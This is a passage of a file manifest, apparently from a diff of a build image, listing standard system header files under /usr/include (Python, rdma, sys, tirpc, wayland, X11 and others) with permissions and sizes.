+-rw-r--r-- root root 2030 ./usr/include/python3.8/structmember.h
+-rw-r--r-- root root 1377 ./usr/include/python3.8/structseq.h
+-rw-r--r-- root root 5308 ./usr/include/python3.8/symtable.h
+-rw-r--r-- root root 1242 ./usr/include/python3.8/sysmodule.h
+-rw-r--r-- root root 2429 ./usr/include/python3.8/token.h
+-rw-r--r-- root root 601 ./usr/include/python3.8/traceback.h
+-rw-r--r-- root root 1114 ./usr/include/python3.8/tracemalloc.h
+-rw-r--r-- root root 1661 ./usr/include/python3.8/tupleobject.h
+-rw-r--r-- root root 2253 ./usr/include/python3.8/typeslots.h
+-rw-r--r-- root root 1056 ./usr/include/python3.8/ucnhash.h
+-rw-r--r-- root root 35732 ./usr/include/python3.8/unicodeobject.h
+-rw-r--r-- root root 1776 ./usr/include/python3.8/warnings.h
+-rw-r--r-- root root 2866 ./usr/include/python3.8/weakrefobject.h
+drwxr-xr-x root root 4096 ./usr/include/rdma
+-rw-r--r-- root root 3291 ./usr/include/rdma/bnxt_re-abi.h
+-rw-r--r-- root root 2468 ./usr/include/rdma/cxgb3-abi.h
+-rw-r--r-- root root 3122 ./usr/include/rdma/cxgb4-abi.h
+-rw-r--r-- root root 2141 ./usr/include/rdma/efa-abi.h
+drwxr-xr-x root root 4096 ./usr/include/rdma/hfi
+-rw-r--r-- root root 6618 ./usr/include/rdma/hfi/hfi1_ioctl.h
+-rw-r--r-- root root 9225 ./usr/include/rdma/hfi/hfi1_user.h
+-rw-r--r-- root root 2388 ./usr/include/rdma/hns-abi.h
+-rw-r--r-- root root 3030 ./usr/include/rdma/i40iw-abi.h
+-rw-r--r-- root root 6046 ./usr/include/rdma/ib_user_ioctl_cmds.h
+-rw-r--r-- root root 5655 ./usr/include/rdma/ib_user_ioctl_verbs.h
+-rw-r--r-- root root 8531 ./usr/include/rdma/ib_user_mad.h
+-rw-r--r-- root root 2305 ./usr/include/rdma/ib_user_sa.h
+-rw-r--r-- root root 26750 ./usr/include/rdma/ib_user_verbs.h
+-rw-r--r-- root root 5117 ./usr/include/rdma/mlx4-abi.h
+-rw-r--r-- root root 12968 ./usr/include/rdma/mlx5-abi.h
+-rw-r--r-- root root 7368 ./usr/include/rdma/mlx5_user_ioctl_cmds.h
+-rw-r--r-- root root 2624 ./usr/include/rdma/mlx5_user_ioctl_verbs.h
+-rw-r--r-- root root 3055 ./usr/include/rdma/mthca-abi.h
+-rw-r--r-- root root 3487 ./usr/include/rdma/nes-abi.h
+-rw-r--r-- root root 4116 ./usr/include/rdma/ocrdma-abi.h
+-rw-r--r-- root root 3160 ./usr/include/rdma/qedr-abi.h
+-rw-r--r-- root root 14231 ./usr/include/rdma/rdma_netlink.h
+-rw-r--r-- root root 6903 ./usr/include/rdma/rdma_user_cm.h
+-rw-r--r-- root root 3008 ./usr/include/rdma/rdma_user_ioctl_cmds.h
+-rw-r--r-- root root 3749 ./usr/include/rdma/rdma_user_ioctl.h
+-rw-r--r-- root root 3839 ./usr/include/rdma/rdma_user_rxe.h
+-rw-r--r-- root root 1771 ./usr/include/rdma/rvt-abi.h
+-rw-r--r-- root root 3430 ./usr/include/rdma/siw-abi.h
+-rw-r--r-- root root 7807 ./usr/include/rdma/vmw_pvrdma-abi.h
+drwxr-xr-x root root 4096 ./usr/include/readline
+-rw-r--r-- root root 4697 ./usr/include/readline/chardefs.h
+-rw-r--r-- root root 10779 ./usr/include/readline/history.h
+-rw-r--r-- root root 3260 ./usr/include/readline/keymaps.h
+-rw-r--r-- root root 39338 ./usr/include/readline/readline.h
+-rw-r--r-- root root 2829 ./usr/include/readline/rlconf.h
+-rw-r--r-- root root 1835 ./usr/include/readline/rlstdc.h
+-rw-r--r-- root root 3193 ./usr/include/readline/rltypedefs.h
+-rw-r--r-- root root 3046 ./usr/include/readline/tilde.h
+-rw-r--r-- root root 963 ./usr/include/re_comp.h
+-rw-r--r-- root root 24715 ./usr/include/regex.h
+-rw-r--r-- root root 1448 ./usr/include/regexp.h
+-rw-r--r-- root root 11873 ./usr/include/resolv.h
+drwxr-xr-x root root 4096 ./usr/include/rpc
+-rw-r--r-- root root 2897 ./usr/include/rpc/netdb.h
+drwxr-xr-x root root 4096 ./usr/include/rpcsvc
+-rw-r--r-- root root 2675 ./usr/include/rpcsvc/nis_callback.h
+-rw-r--r-- root root 2178 ./usr/include/rpcsvc/nis_callback.x
+-rw-r--r-- root root 15879 ./usr/include/rpcsvc/nis.h
+-rw-r--r-- root root 12340 ./usr/include/rpcsvc/nislib.h
+-rw-r--r-- root root 13090 ./usr/include/rpcsvc/nis_object.x
+-rw-r--r-- root root 5370 ./usr/include/rpcsvc/nis_tags.h
+-rw-r--r-- root root 16802 ./usr/include/rpcsvc/nis.x
+-rw-r--r-- root root 3481 ./usr/include/rpcsvc/ypclnt.h
+-rw-r--r-- root root 7964 ./usr/include/rpcsvc/yp.h
+-rw-r--r-- root root 913 ./usr/include/rpcsvc/yppasswd.h
+-rw-r--r-- root root 2286 ./usr/include/rpcsvc/yppasswd.x
+-rw-r--r-- root root 14920 ./usr/include/rpcsvc/yp_prot.h
+-rw-r--r-- root root 3027 ./usr/include/rpcsvc/ypupd.h
+-rw-r--r-- root root 6981 ./usr/include/rpcsvc/yp.x
+-rw-r--r-- root root 4733 ./usr/include/sched.h
+drwxr-xr-x root root 4096 ./usr/include/scsi
+-rw-r--r-- root root 10168 ./usr/include/scsi/cxlflash_ioctl.h
+drwxr-xr-x root root 4096 ./usr/include/scsi/fc
+-rw-r--r-- root root 26902 ./usr/include/scsi/fc/fc_els.h
+-rw-r--r-- root root 11703 ./usr/include/scsi/fc/fc_fs.h
+-rw-r--r-- root root 2231 ./usr/include/scsi/fc/fc_gs.h
+-rw-r--r-- root root 4317 ./usr/include/scsi/fc/fc_ns.h
+-rw-r--r-- root root 8027 ./usr/include/scsi/scsi_bsg_fc.h
+-rw-r--r-- root root 2795 ./usr/include/scsi/scsi_bsg_ufs.h
+-rw-r--r-- root root 6970 ./usr/include/scsi/scsi.h
+-rw-r--r-- root root 1316 ./usr/include/scsi/scsi_ioctl.h
+-rw-r--r-- root root 1264 ./usr/include/scsi/scsi_netlink_fc.h
+-rw-r--r-- root root 2906 ./usr/include/scsi/scsi_netlink.h
+-rw-r--r-- root root 11662 ./usr/include/scsi/sg.h
+-rw-r--r-- root root 5450 ./usr/include/search.h
+-rw-r--r-- root root 2735 ./usr/include/semaphore.h
+-rw-r--r-- root root 3670 ./usr/include/setjmp.h
+-rw-r--r-- root root 1344 ./usr/include/sgtty.h
+-rw-r--r-- root root 5472 ./usr/include/shadow.h
+-rw-r--r-- root root 12309 ./usr/include/signal.h
+drwxr-xr-x root root 4096 ./usr/include/sound
+-rw-r--r-- root root 21847 ./usr/include/sound/asequencer.h
+-rw-r--r-- root root 22222 ./usr/include/sound/asoc.h
+-rw-r--r-- root root 4377 ./usr/include/sound/asound_fm.h
+-rw-r--r-- root root 46564 ./usr/include/sound/asound.h
+-rw-r--r-- root root 6743 ./usr/include/sound/compress_offload.h
+-rw-r--r-- root root 16992 ./usr/include/sound/compress_params.h
+-rw-r--r-- root root 17240 ./usr/include/sound/emu10k1.h
+-rw-r--r-- root root 3245 ./usr/include/sound/firewire.h
+-rw-r--r-- root root 3140 ./usr/include/sound/hdsp.h
+-rw-r--r-- root root 5486 ./usr/include/sound/hdspm.h
+-rw-r--r-- root root 4304 ./usr/include/sound/sb16_csp.h
+-rw-r--r-- root root 7494 ./usr/include/sound/sfnt_info.h
+-rw-r--r-- root root 5195 ./usr/include/sound/skl-tplg-interface.h
+-rw-r--r-- root root 12191 ./usr/include/sound/snd_sst_tokens.h
+drwxr-xr-x root root 4096 ./usr/include/sound/sof
+-rw-r--r-- root root 2036 ./usr/include/sound/sof/abi.h
+-rw-r--r-- root root 2267 ./usr/include/sound/sof/fw.h
+-rw-r--r-- root root 922 ./usr/include/sound/sof/header.h
+-rw-r--r-- root root 3267 ./usr/include/sound/sof/tokens.h
+-rw-r--r-- root root 4601 ./usr/include/sound/tlv.h
+-rw-r--r-- root root 1939 ./usr/include/sound/usb_stream.h
+-rw-r--r-- root root 7758 ./usr/include/spawn.h
+-rw-r--r-- root root 34802 ./usr/include/sqlite3ext.h
+-rw-r--r-- root root 576161 ./usr/include/sqlite3.h
+drwxr-xr-x root root 4096 ./usr/include/ss
+-rw-r--r-- root root 1193 ./usr/include/ss/ss_err.h
+-rw-r--r-- root root 3166 ./usr/include/ss/ss.h
+-rw-r--r-- root root 264 ./usr/include/stab.h
+-rw-r--r-- root root 2290 ./usr/include/stdc-predef.h
+-rw-r--r-- root root 8474 ./usr/include/stdint.h
+-rw-r--r-- root root 2800 ./usr/include/stdio_ext.h
+-rw-r--r-- root root 29950 ./usr/include/stdio.h
+-rw-r--r-- root root 35835 ./usr/include/stdlib.h
+-rw-r--r-- root root 17660 ./usr/include/string.h
+-rw-r--r-- root root 4753 ./usr/include/strings.h
+-rw-r--r-- root root 2191 ./usr/include/symcat.h
+drwxr-xr-x root root 4096 ./usr/include/sys
+-rw-r--r-- root root 3302 ./usr/include/sys/acct.h
+-rw-r--r-- root root 3700 ./usr/include/sys/acl.h
+-rw-r--r-- root root 1260 ./usr/include/sys/auxv.h
+-rw-r--r-- root root 86 ./usr/include/sys/bitypes.h
+-rw-r--r-- root root 25 ./usr/include/syscall.h
+-rw-r--r-- root root 6996 ./usr/include/sys/capability.h
+-rw-r--r-- root root 18308 ./usr/include/sys/cdefs.h
+-rw-r--r-- root root 3576 ./usr/include/sys/debugreg.h
+-rw-r--r-- root root 922 ./usr/include/sys/dir.h
+-rw-r--r-- root root 1024 ./usr/include/sys/elf.h
+-rw-r--r-- root root 4411 ./usr/include/sys/epoll.h
+-rw-r--r-- root root 19 ./usr/include/sys/errno.h
+-rw-r--r-- root root 1400 ./usr/include/sys/eventfd.h
+-rw-r--r-- root root 5232 ./usr/include/sysexits.h
+-rw-r--r-- root root 1292 ./usr/include/sys/fanotify.h
+-rw-r--r-- root root 19 ./usr/include/sys/fcntl.h
+-rw-r--r-- root root 1675 ./usr/include/sys/file.h
+-rw-r--r-- root root 1188 ./usr/include/sys/fsuid.h
+-rw-r--r-- root root 6210 ./usr/include/sys/gmon.h
+-rw-r--r-- root root 2636 ./usr/include/sys/gmon_out.h
+-rw-r--r-- root root 3901 ./usr/include/sys/inotify.h
+-rw-r--r-- root root 1740 ./usr/include/sys/ioctl.h
+-rw-r--r-- root root 5086 ./usr/include/sys/io.h
+-rw-r--r-- root root 1462 ./usr/include/sys/ipc.h
+-rw-r--r-- root root 1112 ./usr/include/sys/kd.h
+-rw-r--r-- root root 1204 ./usr/include/sys/klog.h
+-rw-r--r-- root root 24 ./usr/include/syslog.h
+-rw-r--r-- root root 5552 ./usr/include/sys/mman.h
+-rw-r--r-- root root 5612 ./usr/include/sys/mount.h
+-rw-r--r-- root root 2366 ./usr/include/sys/msg.h
+-rw-r--r-- root root 11163 ./usr/include/sys/mtio.h
+-rw-r--r-- root root 3149 ./usr/include/sys/param.h
+-rw-r--r-- root root 923 ./usr/include/sys/pci.h
+-rw-r--r-- root root 1127 ./usr/include/sys/perm.h
+-rw-r--r-- root root 2723 ./usr/include/sys/personality.h
+-rw-r--r-- root root 2550 ./usr/include/sys/poll.h
+-rw-r--r-- root root 1059 ./usr/include/sys/prctl.h
+-rw-r--r-- root root 4338 ./usr/include/sys/procfs.h
+-rw-r--r-- root root 1959 ./usr/include/sys/profil.h
+-rw-r--r-- root root 4680 ./usr/include/sys/psx_syscall.h
+-rw-r--r-- root root 6126 ./usr/include/sys/ptrace.h
+-rw-r--r-- root root 19539 ./usr/include/sys/queue.h
+-rw-r--r-- root root 5173 ./usr/include/sys/quota.h
+-rw-r--r-- root root 1444 ./usr/include/sys/random.h
+-rw-r--r-- root root 1182 ./usr/include/sys/raw.h
+-rw-r--r-- root root 1633 ./usr/include/sys/reboot.h
+-rw-r--r-- root root 1827 ./usr/include/sys/reg.h
+-rw-r--r-- root root 3646 ./usr/include/sys/resource.h
+-rw-r--r-- root root 4141 ./usr/include/sys/select.h
+-rw-r--r-- root root 2037 ./usr/include/sys/sem.h
+-rw-r--r-- root root 1806 ./usr/include/sys/sendfile.h
+-rw-r--r-- root root 1874 ./usr/include/sys/shm.h
+-rw-r--r-- root root 1714 ./usr/include/sys/signalfd.h
+-rw-r--r-- root root 20 ./usr/include/sys/signal.h
+-rw-r--r-- root root 10205 ./usr/include/sys/socket.h
+-rw-r--r-- root root 141 ./usr/include/sys/socketvar.h
+-rw-r--r-- root root 29 ./usr/include/sys/soundcard.h
+-rw-r--r-- root root 2094 ./usr/include/sys/statfs.h
+-rw-r--r-- root root 16237 ./usr/include/sys/stat.h
+-rw-r--r-- root root 2820 ./usr/include/sys/statvfs.h
+-rw-r--r-- root root 1593 ./usr/include/sys/swap.h
+-rw-r--r-- root root 1256 ./usr/include/sys/syscall.h
+-rw-r--r-- root root 2105 ./usr/include/sys/sysctl.h
+-rw-r--r-- root root 1518 ./usr/include/sys/sysinfo.h
+-rw-r--r-- root root 7702 ./usr/include/sys/syslog.h
+-rw-r--r-- root root 2103 ./usr/include/sys/sysmacros.h
+-rw-r--r-- root root 74 ./usr/include/sys/termios.h
+-rw-r--r-- root root 1420 ./usr/include/sys/timeb.h
+-rw-r--r-- root root 6754 ./usr/include/sys/time.h
+-rw-r--r-- root root 1874 ./usr/include/sys/timerfd.h
+-rw-r--r-- root root 1597 ./usr/include/sys/times.h
+-rw-r--r-- root root 2206 ./usr/include/sys/timex.h
+-rw-r--r-- root root 2499 ./usr/include/sys/ttychars.h
+-rw-r--r-- root root 3568 ./usr/include/sys/ttydefaults.h
+-rw-r--r-- root root 5713 ./usr/include/sys/types.h
+-rw-r--r-- root root 5842 ./usr/include/sys/ucontext.h
+-rw-r--r-- root root 6280 ./usr/include/sys/uio.h
+-rw-r--r-- root root 1453 ./usr/include/sys/un.h
+-rw-r--r-- root root 20 ./usr/include/sys/unistd.h
+-rw-r--r-- root root 5208 ./usr/include/sys/user.h
+-rw-r--r-- root root 2481 ./usr/include/sys/utsname.h
+-rw-r--r-- root root 161 ./usr/include/sys/vfs.h
+-rw-r--r-- root root 1880 ./usr/include/sys/vlimit.h
+-rw-r--r-- root root 1199 ./usr/include/sys/vm86.h
+-rw-r--r-- root root 22 ./usr/include/sys/vt.h
+-rw-r--r-- root root 2463 ./usr/include/sys/vtimes.h
+-rw-r--r-- root root 5605 ./usr/include/sys/wait.h
+-rw-r--r-- root root 4275 ./usr/include/sys/xattr.h
+-rw-r--r-- root root 3786 ./usr/include/tar.h
+-rw-r--r-- root root 9130 ./usr/include/tcpd.h
+-rw-r--r-- root root 3471 ./usr/include/termcap.h
+-rw-r--r-- root root 9096 ./usr/include/term_entry.h
+-rw-r--r-- root root 40447 ./usr/include/term.h
+-rw-r--r-- root root 214 ./usr/include/termio.h
+-rw-r--r-- root root 3599 ./usr/include/termios.h
+-rw-r--r-- root root 37419 ./usr/include/tgmath.h
+-rw-r--r-- root root 16024 ./usr/include/thread_db.h
+-rw-r--r-- root root 6661 ./usr/include/threads.h
+-rw-r--r-- root root 14830 ./usr/include/tic.h
+-rw-r--r-- root root 10276 ./usr/include/time.h
+drwxr-xr-x root root 4096 ./usr/include/tirpc
+-rw-r--r-- root root 2195 ./usr/include/tirpc/netconfig.h
+drwxr-xr-x root root 4096 ./usr/include/tirpc/rpc
+-rw-r--r-- root root 4143 ./usr/include/tirpc/rpc/auth_des.h
+-rw-r--r-- root root 11085 ./usr/include/tirpc/rpc/auth.h
+-rw-r--r-- root root 3009 ./usr/include/tirpc/rpc/auth_unix.h
+-rw-r--r-- root root 17067 ./usr/include/tirpc/rpc/clnt.h
+-rw-r--r-- root root 3904 ./usr/include/tirpc/rpc/clnt_soc.h
+-rw-r--r-- root root 2202 ./usr/include/tirpc/rpc/clnt_stat.h
+-rw-r--r-- root root 3706 ./usr/include/tirpc/rpc/des_crypt.h
+-rw-r--r-- root root 3045 ./usr/include/tirpc/rpc/des.h
+-rw-r--r-- root root 8021 ./usr/include/tirpc/rpc/key_prot.h
+-rw-r--r-- root root 2431 ./usr/include/tirpc/rpc/nettype.h
+-rw-r--r-- root root 3582 ./usr/include/tirpc/rpc/pmap_clnt.h
+-rw-r--r-- root root 4064 ./usr/include/tirpc/rpc/pmap_prot.h
+-rw-r--r-- root root 2450 ./usr/include/tirpc/rpc/pmap_rmt.h
+-rw-r--r-- root root 2117 ./usr/include/tirpc/rpc/raw.h
+-rw-r--r-- root root 3496 ./usr/include/tirpc/rpc/rpcb_clnt.h
+-rw-r--r-- root root 25776 ./usr/include/tirpc/rpc/rpcb_prot.h
+-rw-r--r-- root root 14673 ./usr/include/tirpc/rpc/rpcb_prot.x
+-rw-r--r-- root root 3102 ./usr/include/tirpc/rpc/rpc_com.h
+-rw-r--r-- root root 2712 ./usr/include/tirpc/rpc/rpcent.h
+-rw-r--r-- root root 4130 ./usr/include/tirpc/rpc/rpc.h
+-rw-r--r-- root root 5340 ./usr/include/tirpc/rpc/rpc_msg.h
+drwxr-xr-x root root 4096 ./usr/include/tirpc/rpcsvc
+-rw-r--r-- root root 3041 ./usr/include/tirpc/rpc/svc_auth.h
+-rw-r--r-- root root 2414 ./usr/include/tirpc/rpcsvc/crypt.h
+-rw-r--r-- root root 3929 ./usr/include/tirpc/rpcsvc/crypt.x
+-rw-r--r-- root root 2462 ./usr/include/tirpc/rpc/svc_dg.h
+-rw-r--r-- root root 14589 ./usr/include/tirpc/rpc/svc.h
+-rw-r--r-- root root 1912 ./usr/include/tirpc/rpc/svc_mt.h
+-rw-r--r-- root root 3749 ./usr/include/tirpc/rpc/svc_soc.h
+-rw-r--r-- root root 3756 ./usr/include/tirpc/rpc/types.h
+-rw-r--r-- root root 13372 ./usr/include/tirpc/rpc/xdr.h
+-rw-r--r-- root root 2494 ./usr/include/ttyent.h
+-rw-r--r-- root root 2002 ./usr/include/uchar.h
+-rw-r--r-- root root 2037 ./usr/include/ucontext.h
+-rw-r--r-- root root 8998 ./usr/include/udev.h
+-rw-r--r-- root root 1584 ./usr/include/ulimit.h
+-rw-r--r-- root root 3177 ./usr/include/unctrl.h
+-rw-r--r-- root root 42804 ./usr/include/unistd.h
+-rw-r--r-- root root 1502 ./usr/include/utime.h
+-rw-r--r-- root root 3223 ./usr/include/utmp.h
+-rw-r--r-- root root 4100 ./usr/include/utmpx.h
+drwxr-xr-x root root 4096 ./usr/include/uuid
+-rw-r--r-- root root 3910 ./usr/include/uuid/uuid.h
+-rw-r--r-- root root 1956 ./usr/include/values.h
+drwxr-xr-x root root 4096 ./usr/include/video
+-rw-r--r-- root root 213 ./usr/include/video/edid.h
+-rw-r--r-- root root 7643 ./usr/include/video/sisfb.h
+-rw-r--r-- root root 1078 ./usr/include/video/uvesafb.h
+-rw-r--r-- root root 22 ./usr/include/wait.h
+-rw-r--r-- root root 8755 ./usr/include/wayland-client-core.h
+-rw-r--r-- root root 1573 ./usr/include/wayland-client.h
+-rw-r--r-- root root 184232 ./usr/include/wayland-client-protocol.h
+-rw-r--r-- root root 2260 ./usr/include/wayland-cursor.h
+-rw-r--r-- root root 1848 ./usr/include/wayland-egl-backend.h
+-rw-r--r-- root root 1788 ./usr/include/wayland-egl-core.h
+-rw-r--r-- root root 1313 ./usr/include/wayland-egl.h
+-rw-r--r-- root root 19021 ./usr/include/wayland-server-core.h
+-rw-r--r-- root root 3237 ./usr/include/wayland-server.h
+-rw-r--r-- root root 144281 ./usr/include/wayland-server-protocol.h
+-rw-r--r-- root root 24118 ./usr/include/wayland-util.h
+-rw-r--r-- root root 1354 ./usr/include/wayland-version.h
+-rw-r--r-- root root 31111 ./usr/include/wchar.h
+-rw-r--r-- root root 5549 ./usr/include/wctype.h
+-rw-r--r-- root root 2502 ./usr/include/wordexp.h
+drwxr-xr-x root root 4096 ./usr/include/X11
+-rw-r--r-- root root 2293 ./usr/include/X11/ap_keysym.h
+-rw-r--r-- root root 3118 ./usr/include/X11/cursorfont.h
+-rw-r--r-- root root 2815 ./usr/include/X11/DECkeysym.h
+drwxr-xr-x root root 4096 ./usr/include/X11/dri
+-rw-r--r-- root root 2445 ./usr/include/X11/dri/xf86dri.h
+-rw-r--r-- root root 9669 ./usr/include/X11/dri/xf86driproto.h
+-rw-r--r-- root root 174 ./usr/include/X11/dri/xf86dristr.h
+drwxr-xr-x root root 4096 ./usr/include/X11/extensions
+-rw-r--r-- root root 1705 ./usr/include/X11/extensions/ag.h
+-rw-r--r-- root root 5005 ./usr/include/X11/extensions/agproto.h
+-rw-r--r-- root root 2900 ./usr/include/X11/extensions/applewmconst.h
+-rw-r--r-- root root 8098 ./usr/include/X11/extensions/applewmproto.h
+-rw-r--r-- root root 1909 ./usr/include/X11/extensions/bigreqsproto.h
+-rw-r--r-- root root 187 ./usr/include/X11/extensions/bigreqstr.h
+-rw-r--r-- root root 3130 ./usr/include/X11/extensions/composite.h
+-rw-r--r-- root root 5462 ./usr/include/X11/extensions/compositeproto.h
+-rw-r--r-- root root 1353 ./usr/include/X11/extensions/cup.h
+-rw-r--r-- root root 3065 ./usr/include/X11/extensions/cupproto.h
+-rw-r--r-- root root 3615 ./usr/include/X11/extensions/damageproto.h
+-rw-r--r-- root root 1893 ./usr/include/X11/extensions/damagewire.h
+-rw-r--r-- root root 2159 ./usr/include/X11/extensions/dbe.h
+-rw-r--r-- root root 7343 ./usr/include/X11/extensions/dbeproto.h
+-rw-r--r-- root root 2373 ./usr/include/X11/extensions/dmx.h
+-rw-r--r-- root root 13343 ./usr/include/X11/extensions/dmxproto.h
+-rw-r--r-- root root 1778 ./usr/include/X11/extensions/dpmsconst.h
+-rw-r--r-- root root 2161 ./usr/include/X11/extensions/dpms.h
+-rw-r--r-- root root 5288 ./usr/include/X11/extensions/dpmsproto.h
+-rw-r--r-- root root 8318 ./usr/include/X11/extensions/dri2proto.h
+-rw-r--r-- root root 2468 ./usr/include/X11/extensions/dri2tokens.h
+-rw-r--r-- root root 6129 ./usr/include/X11/extensions/dri3proto.h
+-rw-r--r-- root root 1563 ./usr/include/X11/extensions/EVI.h
+-rw-r--r-- root root 3006 ./usr/include/X11/extensions/EVIproto.h
+-rw-r--r-- root root 6096 ./usr/include/X11/extensions/extutil.h
+-rw-r--r-- root root 1782 ./usr/include/X11/extensions/ge.h
+-rw-r--r-- root root 2351 ./usr/include/X11/extensions/geproto.h
+-rw-r--r-- root root 2236 ./usr/include/X11/extensions/lbx.h
+-rw-r--r-- root root 24782 ./usr/include/X11/extensions/lbxproto.h
+-rw-r--r-- root root 1509 ./usr/include/X11/extensions/mitmiscconst.h
+-rw-r--r-- root root 1741 ./usr/include/X11/extensions/MITMisc.h
+-rw-r--r-- root root 2229 ./usr/include/X11/extensions/mitmiscproto.h
+-rw-r--r-- root root 2575 ./usr/include/X11/extensions/multibufconst.h
+-rw-r--r-- root root 5835 ./usr/include/X11/extensions/multibuf.h
+-rw-r--r-- root root 8600 ./usr/include/X11/extensions/multibufproto.h
+-rw-r--r-- root root 5473 ./usr/include/X11/extensions/panoramiXproto.h
+-rw-r--r-- root root 5409 ./usr/include/X11/extensions/presentproto.h
+-rw-r--r-- root root 3597 ./usr/include/X11/extensions/presenttokens.h
+-rw-r--r-- root root 6909 ./usr/include/X11/extensions/randr.h
+-rw-r--r-- root root 25751 ./usr/include/X11/extensions/randrproto.h
+-rw-r--r-- root root 2064 ./usr/include/X11/extensions/recordconst.h
+-rw-r--r-- root root 7634 ./usr/include/X11/extensions/recordproto.h
+-rw-r--r-- root root 258 ./usr/include/X11/extensions/recordstr.h
+-rw-r--r-- root root 6933 ./usr/include/X11/extensions/render.h
+-rw-r--r-- root root 13218 ./usr/include/X11/extensions/renderproto.h
+-rw-r--r-- root root 1900 ./usr/include/X11/extensions/saver.h
+-rw-r--r-- root root 5132 ./usr/include/X11/extensions/saverproto.h
+-rw-r--r-- root root 2141 ./usr/include/X11/extensions/secur.h
+-rw-r--r-- root root 2457 ./usr/include/X11/extensions/security.h
+-rw-r--r-- root root 3177 ./usr/include/X11/extensions/securproto.h
+-rw-r--r-- root root 1878 ./usr/include/X11/extensions/shapeconst.h
+-rw-r--r-- root root 4133 ./usr/include/X11/extensions/shape.h
+-rw-r--r-- root root 6730 ./usr/include/X11/extensions/shapeproto.h
+-rw-r--r-- root root 252 ./usr/include/X11/extensions/shapestr.h
+-rw-r--r-- root root 1645 ./usr/include/X11/extensions/shm.h
+-rw-r--r-- root root 6045 ./usr/include/X11/extensions/shmproto.h
+-rw-r--r-- root root 2123 ./usr/include/X11/extensions/shmstr.h
+-rw-r--r-- root root 6750 ./usr/include/X11/extensions/syncconst.h
+-rw-r--r-- root root 9676 ./usr/include/X11/extensions/sync.h
+-rw-r--r-- root root 11001 ./usr/include/X11/extensions/syncproto.h
+-rw-r--r-- root root 5606 ./usr/include/X11/extensions/syncstr.h
+-rw-r--r-- root root 2377 ./usr/include/X11/extensions/Xag.h
+-rw-r--r-- root root 3057 ./usr/include/X11/extensions/xcmiscproto.h
+-rw-r--r-- root root 185 ./usr/include/X11/extensions/xcmiscstr.h
+-rw-r--r-- root root 1710 ./usr/include/X11/extensions/Xcup.h
+-rw-r--r-- root root 2307 ./usr/include/X11/extensions/Xdamage.h
+-rw-r--r-- root root 4170 ./usr/include/X11/extensions/Xdbe.h
+-rw-r--r-- root root 2130 ./usr/include/X11/extensions/XEVI.h
+-rw-r--r-- root root 1655 ./usr/include/X11/extensions/Xext.h
+-rw-r--r-- root root 414 ./usr/include/X11/extensions/xf86bigfont.h
+-rw-r--r-- root root 2544 ./usr/include/X11/extensions/xf86bigfproto.h
+-rw-r--r-- root root 191 ./usr/include/X11/extensions/xf86bigfstr.h
+-rw-r--r-- root root 931 ./usr/include/X11/extensions/xf86dga1const.h
+-rw-r--r-- root root 4506 ./usr/include/X11/extensions/xf86dga1proto.h
+-rw-r--r-- root root 191 ./usr/include/X11/extensions/xf86dga1str.h
+-rw-r--r-- root root 2533 ./usr/include/X11/extensions/xf86dgaconst.h
+-rw-r--r-- root root 369 ./usr/include/X11/extensions/xf86dga.h
+-rw-r--r-- root root 7106 ./usr/include/X11/extensions/xf86dgaproto.h
+-rw-r--r-- root root 188 ./usr/include/X11/extensions/xf86dgastr.h
+-rw-r--r-- root root 2106 ./usr/include/X11/extensions/xf86vm.h
+-rw-r--r-- root root 7619 ./usr/include/X11/extensions/xf86vmode.h
+-rw-r--r-- root root 15700 ./usr/include/X11/extensions/xf86vmproto.h
+-rw-r--r-- root root 185 ./usr/include/X11/extensions/xf86vmstr.h
+-rw-r--r-- root root 7588 ./usr/include/X11/extensions/Xfixes.h
+-rw-r--r-- root root 12752 ./usr/include/X11/extensions/xfixesproto.h
+-rw-r--r-- root root 5396 ./usr/include/X11/extensions/xfixeswire.h
+-rw-r--r-- root root 1927 ./usr/include/X11/extensions/Xge.h
+-rw-r--r-- root root 10542 ./usr/include/X11/extensions/XI2.h
+-rw-r--r-- root root 37577 ./usr/include/X11/extensions/XI2proto.h
+-rw-r--r-- root root 9823 ./usr/include/X11/extensions/XI.h
+-rw-r--r-- root root 41010 ./usr/include/X11/extensions/XIproto.h
+-rw-r--r-- root root 15808 ./usr/include/X11/extensions/XKBgeom.h
+-rw-r--r-- root root 28211 ./usr/include/X11/extensions/XKB.h
+-rw-r--r-- root root 29105 ./usr/include/X11/extensions/XKBproto.h
+-rw-r--r-- root root 28018 ./usr/include/X11/extensions/XKBsrv.h
+-rw-r--r-- root root 19630 ./usr/include/X11/extensions/XKBstr.h
+-rw-r--r-- root root 1601 ./usr/include/X11/extensions/XLbx.h
+-rw-r--r-- root root 17120 ./usr/include/X11/extensions/Xrandr.h
+-rw-r--r-- root root 12805 ./usr/include/X11/extensions/Xrender.h
+-rw-r--r-- root root 5168 ./usr/include/X11/extensions/XResproto.h
+-rw-r--r-- root root 3735 ./usr/include/X11/extensions/XShm.h
+-rw-r--r-- root root 1392 ./usr/include/X11/extensions/xtestconst.h
+-rw-r--r-- root root 5439 ./usr/include/X11/extensions/xtestext1const.h
+-rw-r--r-- root root 3708 ./usr/include/X11/extensions/xtestext1.h
+-rw-r--r-- root root 7790 ./usr/include/X11/extensions/xtestext1proto.h
+-rw-r--r-- root root 3254 ./usr/include/X11/extensions/xtestproto.h
+-rw-r--r-- root root 3027 ./usr/include/X11/extensions/Xv.h
+-rw-r--r-- root root 3620 ./usr/include/X11/extensions/XvMC.h
+-rw-r--r-- root root 4484 ./usr/include/X11/extensions/XvMCproto.h
+-rw-r--r-- root root 12109 ./usr/include/X11/extensions/Xvproto.h
+drwxr-xr-x root root 4096 ./usr/include/X11/fonts
+-rw-r--r-- root root 4253 ./usr/include/X11/fonts/font.h
+-rw-r--r-- root root 3450 ./usr/include/X11/fonts/fontproto.h
+-rw-r--r-- root root 9401 ./usr/include/X11/fonts/fontstruct.h
+-rw-r--r-- root root 4075 ./usr/include/X11/fonts/FS.h
+-rw-r--r-- root root 3992 ./usr/include/X11/fonts/fsmasks.h
+-rw-r--r-- root root 19889 ./usr/include/X11/fonts/FSproto.h
+-rw-r--r-- root root 6046 ./usr/include/X11/HPkeysym.h
+drwxr-xr-x root root 4096 ./usr/include/X11/ICE
+-rw-r--r-- root root 7413 ./usr/include/X11/ICE/ICEconn.h
+-rw-r--r-- root root 2512 ./usr/include/X11/ICE/ICE.h
+-rw-r--r-- root root 9925 ./usr/include/X11/ICE/ICElib.h
+-rw-r--r-- root root 8206 ./usr/include/X11/ICE/ICEmsg.h
+-rw-r--r-- root root 4604 ./usr/include/X11/ICE/ICEproto.h
+-rw-r--r-- root root 3154 ./usr/include/X11/ICE/ICEutil.h
+-rw-r--r-- root root 459 ./usr/include/X11/ImUtil.h
